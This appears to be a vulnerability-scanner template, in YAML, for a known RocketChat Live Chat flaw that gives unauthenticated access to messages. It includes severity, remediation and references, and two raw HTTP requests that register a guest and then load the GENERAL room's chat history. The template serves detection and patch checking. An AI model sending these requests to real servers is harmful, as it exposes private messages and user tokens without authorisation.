rocketchat-unauth-access: RocketChat Live Chat - Unauthenticated Read Access

id: rocketchat-unauth-access

info:
  name: RocketChat Live Chat - Unauthenticated Read Access
  author: rojanrijal
  severity: high
  description: RocketChat Live Chat accepts invalid parameters that could potentially allow unauthenticated access to messages and user tokens.
  remediation: Fixed in versions 3.11, 3.10.5, 3.9.7, and 3.8.8.
  reference:
    - https://docs.rocket.chat/guides/security/security-updates
    - https://securifyinc.com/disclosures/rocketchat-unauthenticated-access-to-messages
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-522
  metadata:
    max-request: 2
  tags: rocketchat,unauth
variables:
  value: "{{to_lower(rand_text_alpha(5))}}"
  user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"

http:
  - raw:
      - |
        POST /api/v1/method.callAnon/cve_exploit HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

        {"message":"{\"msg\":\"method\",\"method\":\"livechat:registerGuest\",\"params\":[{\"token\":\"{{value}}\",\"name\":\"cve-2020-{{value}}\",\"email\":\"{{user_email}}\"}],\"id\":\"123\"}"}
      - |
        POST /api/v1/method.callAnon/cve_exploit HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json

        {"message":"{\"msg\":\"method\",\"method\":\"livechat:loadHistory\",\"params\":[{\"token\":\"{{value}}\",\"rid\":\"GENERAL\"}],\"msg\":\"123\"}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"{\"msg\":\"result\",\"result\":{\"messages\"'
          - '"success":true'
        condition: and

      - type: status
        status:
          - 200
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